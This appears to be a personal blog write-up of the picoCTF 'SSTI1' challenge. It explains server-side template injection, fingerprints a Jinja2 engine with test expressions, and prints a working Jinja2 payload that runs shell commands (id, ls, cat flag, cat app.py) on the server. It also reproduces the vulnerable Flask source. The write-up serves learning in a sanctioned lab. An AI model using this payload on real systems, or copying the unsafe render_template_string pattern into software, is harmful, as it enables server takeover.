Here’s what the web page looks like.

A submit from is given, and you can enter commands you want.

Here’s what I got, when entering cat/flag.

If you click on the Ok buttom you can see that the url changes from http://rescued-float.picoctf.net:64139/ to http://rescued-float.picoctf.net:64139/announce.

Because this challenge deals with server side code, we can’t see the source code in the developer tools.

...<! DOCTYPE html>=$0
<html>
<head>
<title>SSTI1</title>
</head>
<body>
<h1> Home </h1>
<p> I built a cool website that lets you announce whatever you want !* </p>
<form action="/" method="POST">
" What do you want to announce: "
<input name="content" id="announce">
<button type="submit"> Ok </button>
</form>
<p style="font-size: 10px;position: fixed; bottom: 10px; left : 10px; "> *Announcements may only reach yourself </p>
</body>
</html>

The challenge name is SSTI1.

SSTI stands for (server-side-template-injection).

server-side-template-injection is a web security vulnerability that occurs when a web application improperly handles user input, leading to that input being executed as code within a server-side template.

Modern web applications often use template engines(Jinja2, Twig, Freemarker,etc) to generate dynamic HTML content.

Instead of writing every single HTML page from scratch, developers create “templates” that contain:

  • Static HTML: The basic structure and fixed text.

  • Placeholders/Variables: Special syntax {{ user_name }}, <%= product.name %>

  • Control Structures: Logic (e.g., {% if user.logged_in %}, {% for item in items %}) that determines what parts of the HTML are rendered

The template engine combines these templates with data to produce the final HTML that’s sent to the user’s browser

An SSTI vulnerability arises when a developer accidentally allows untrusted user input to be embedded directly into the template itself, rather than being passed in as safe data that the template engine is designed to handle.

Since we don’t have the source code for the webpage, we need to do some trial and error to figure out which template the web-page is using.

We’ll use a couple of payloads to get a grasp on which template picoCTF used for this level.

Let’s use the template-decision-tree portswigger provided.

  1. ${7*7}

This was the first payload I tried, however the web page just showed what I entered.

Since, this didn’t work we know it’s not using Mako.

I’ve never heard of Mako until solving this challenge.

  1. {{7*7}}

Then I tried {{7*7}}, and it returned 49.

7*7 is equal to 49 which means, the template engine used for the web-page is interpreting my input as code.

Therefore the webpage using Jinja2 or Twig.

Armin Ronacher the guy who made flask and Jinja2 created Twig when he was twenty, lol…

  1. {{7*'7'}}

{{7*'7'}} is used to find out if picoCTF Is using Jinja2 or Twig.

The webpage returned 7777777.

If the result is 49, it indicates Twig, if it’s 7777777, it’s Jinja2.

Jinja2 is our winner.

For those of you who haven’t heard of Jinja2, Jinja2 is a template used in Python to create dynamic html.

It’s used heavily in flask.

Although the difficulty for this problem is easy, it will be hard if you don’t have any experience in flask.

I’m currently reading this.

Miguel, the author let’s you read his posts without a single buck, and in my opinion it’s the best tutorial on learning flask.

The majority of people who are reading my picoCTF writeups are probably those who aren’t CTFers and are just programmers.

Flask is hard to learn, and I know only a little bit, even if you finished Miguel’s book you probably won’t be able to solve a SSTI problem without looking at writeups, because normal people will never write Python code in a similar style to the payloads used for Jinja2.

So don’t blame yourself if you can’t solve a SSTI problem on your own, if it’s your first time solving it’s pretty much impossible.

I’m just curious how the majority of CTFers solve these kinds of problems, most of them don’t seem to study flask that hard.

They mostly seem to focus on how to exploit the target and get the flag.

Anyways moving on.

Now we need to get RCE.

From the code here, I found some payloads.

This code will run the linux command id.

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

This is what the website returned, so the command injection looks like it’s working properly.

uid=0(root) gid=0(root) groups=0(root)

Then I changed the payload so we can see where the flag is with ls.

{{request.application.__globals__.__builtins__.__import__('os').popen('ls').read()}}

Here’s the result.

__pycache__ app.py flag requirements.txt

Now that there’s a flag let’s change the command we want to execute to cat flag.

  • Final payload
{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag').read()}}

Here’s the flag. picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_eb0c6390}.

The flag says server side template injection are cool.

I also ran cat app.py to see what the source code looks likes.

{{request.application.__globals__.__builtins__.__import__('os').popen('cat app.py').read()}}

It looks like this.

from flask import Flask, render_template_string, request, redirect app = Flask(__name__) @app.route('/', methods = ['GET', 'POST']) def home(): if request.method == 'POST': return redirect('/announce', code=307) else : return render_template_string(""" <!doctype html> <title>SSTI1</title> <h1> Home </h1> <p> I built a cool website that lets you announce whatever you want!* </p> <form action="/" method="POST"> What do you want to announce: <input name="content" id="announce"> <button type="submit"> Ok </button> </form> <p style="font-size:10px;position:fixed;bottom:10px;left:10px;"> *Announcements may only reach yourself </p> """ ) @app.route("/announce", methods = ["POST"]) def announcement(): return render_template_string(""" <!doctype html> <h1 style="font-size:100px;" align="center">""" + request.form.get("content", "") + """</h1>""", )

The strange thing is that the code is in one long line.

Not sure why it’s like that, but there’s got to be a reason.

I’m guessing it has to be a one-liner for the SSTI exploit to work.

I’ll write down the reason for that after studying more on SSTI.

I couldn’t solve this problem on my own so I had to look up a writeup.

Thank’s to prof Martin again.

I wouldn’t be able to solve a lot of picoCTF challenges without his help.